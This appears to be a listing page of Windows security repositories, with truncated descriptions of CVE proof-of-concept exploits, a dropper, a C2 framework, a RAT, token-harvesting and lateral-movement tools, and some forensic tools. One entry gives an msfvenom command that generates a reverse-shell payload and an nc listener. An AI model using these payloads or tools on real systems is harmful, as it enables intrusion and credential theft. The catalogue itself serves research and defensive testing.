blutter

Blutter Flutter Mobile Application Reverse Engineering Tool by Compiling Dart AOT Runtime Currently the application supports only Android libapp.so arm64 only. Also the application is currently work only against recent Dart versions. For high priority missing features, see TODO Environment Setup...

CVE-2025-66680

CVE-2025-66680 In Wise Force Deleter 1.5.7.59 and earlier, an attacker with local administrator access can delete arbitrary file in the file system by weaponizing the app. Usage 1. Place WiseDelfile64.sys in C:\Windows 2. Compile the project 3. Create file.txt which contain the a list of files yo...

CrackMapExecWin

CrackMapExecWin Description The great CrackMapExec tool compiled for Windows Features Latest 2.2 version Compiled for x86 so should work on x86 and x64 platforms Usage 1. Download the whole archive 2. Extract it and run crackmapexec.exe 3. Profit Older versions Browse the release section to find...

CVE-2020-1350

CVE-2020-1350 CVE-2020-1350 Proof-of-Concept Environment Setup 1. Download Windows Server 2016 2. Download a Linux box a secondary box to run this script 3. Install Active Directory/DNS on Windows Server 2016 let's say you named your legitimate domain 33y0re.com 4. Have NO DNS records on the...

CVE-2019-0708

CVE-2019-0708 POC-CVE-2019-0708 Microsoft Windows 7 for 32-bit Systems SP1 Microsoft Windows 7 for x64-based Systems SP1 Microsoft Windows Server 2003 Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1 Microsoft Windows Server 2008 R2 for x64-based Systems SP1 Microsoft Windows Server...

DarkWidow

DarkWidow A Customizable Dropper Tool targeting Windows. Honourable Mentions: 1. BlackHat Asia, 2024 - Call For Tools 2. BlackHat USA, 2024 - Call For Tools 3. BlackHat SecTor, 2024 - Call For Tools 4. BlackHat Europe, 2024 - Call For Tools 5. Wild West Hacking Fest 2024 - Arsenal Thanks a lot to...

CVE-2016-7255

CVE-2016-7255 Used to exploit cve-2016-7255 in 64 bit versions of Windows, tested on Workstation 7 SP1, 8.1, 10 prior to build 1607, and Server 2012 R2. To use cve-2016-7255 cve-2016-7255.exe 7 - Windows 7 SP1 cve-2016-7255.exe 81 - Windows 8.1 cve-2016-7255.exe 10 - Windows 10 prior to build 160...

trevorc2

trevorc2 TrevorC2 - Command and Control via Legitimate Behavior over HTTP Written by: Dave Kennedy @HackingDave Website: https://www.trustedsec.com Note that this is a very early release - heavy randomization and encryption to be added soon. TrevorC2 is a client/server model for masking command a...

CVE-2022-25365

CVE-2022-25365 The privilege escalation vulnerability in Docker Desktop for Windows reference: https://www.cyberark.com/resources/threat-research-blog/breaking-docker-named-pipes-systematically-docker-desktop-privilege-escalation-part-1 File list poc.py Coded by followboy1999 createsymlink.exe...

askWAM

askWAM askWAM requests Microsoft Entra access tokens silently through Windows Web Account Manager WAM. It ships as a .NET Framework client, a standalone native x64 client, and an x64 Beacon Object File with a CNA command adapter. All frontends can enumerate accounts visible to the client and targ...

chainsaw

Rapidly Search and Hunt through Windows Forensic Artefacts Chainsaw provides a powerful ‘first-response’ capability to quickly identify threats within Windows forensic artefacts such as Event Logs and the MFT file. Chainsaw offers a generic and fast method of searching through event logs for...

CVE-2020-27955

CVE-2020-27955 Vulnerability Reproduction 1. Download the vulnerable version of Git-LFS on the Windows machine Download link: https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1 2. Install on the Windows machine, add the following information to the hosts file. 10.1.1.5 is the...

EDRHunt

EDRHunt EDRHunt scans Windows services, drivers, processes, registry, wmi for installed EDRs Endpoint Detection And Response. Read more about EDRHunt here. Install Binary Download the latest release from the release section. Releases are built for windows/amd64. Go Requires Go to be installed on...

IHxExec

IHxExec POC to execute arbitrary code on behalf of another user. U can read more about the technique here: https://cicada-8.medium.com/process-injection-is-dead-long-live-ihxhelppaneserver-af8f20431b5d https://www.youtube.com/watch?v=bK3ufqZxkxc Note the attached video:...

CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 explanation and researching vulnerability for term porject CENG325 for beginners How to exploit? Userpayload generation for reverse shell: msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python listening port: nc -lvnp 5555 exploi...

etl2pcapng

About This tool enables you to view ndiscap and pktmon packet captures with Wireshark. Due to performance problems with the other popular packet capture method WinPcap, which was included with older versions of Wireshark, these inbox tools should be preferred. Windows has several inbox components...

Lilith

Lilith Free & Native Open Source C++ Remote Administration Tool for Windows Lilith is a console-based ultra light-weight RAT developed in C++. It features a straight-forward set of commands that allows for near complete control of a machine. Disclaimer The use of this software on any device that ...

windows-x86-shellcode-poc

Windows x86 Buffer Overflow PoC for Beginners This is a simple, self-contained tutorial on stack-based buffer overflow exploits for 32-bit Windows. No external guides required—everything you need is here. What is this repository? vulnerable.c: A simple program with an unsafe gets function...

ir-rescue

ir-rescue ir-rescue is composed of two sister scripts that collect a myriad of forensic data from 32-bit and 64-bit Windows systems ir-rescue-win and from Unix systems ir-rescue-nix. The scripts respect the order of volatility and artifacts that are changed with the execution e.g. , prefetch file...

CVE-2024-26229

CVE-2024-26229 Windows CSC service privilege escalation vulnerability. When a program writes more data to a buffer than its capacity, a heap-based buffer overflow occurs, causing excess data to overflow into adjacent memory areas. This overflow can corrupt memory and may allow an attacker to...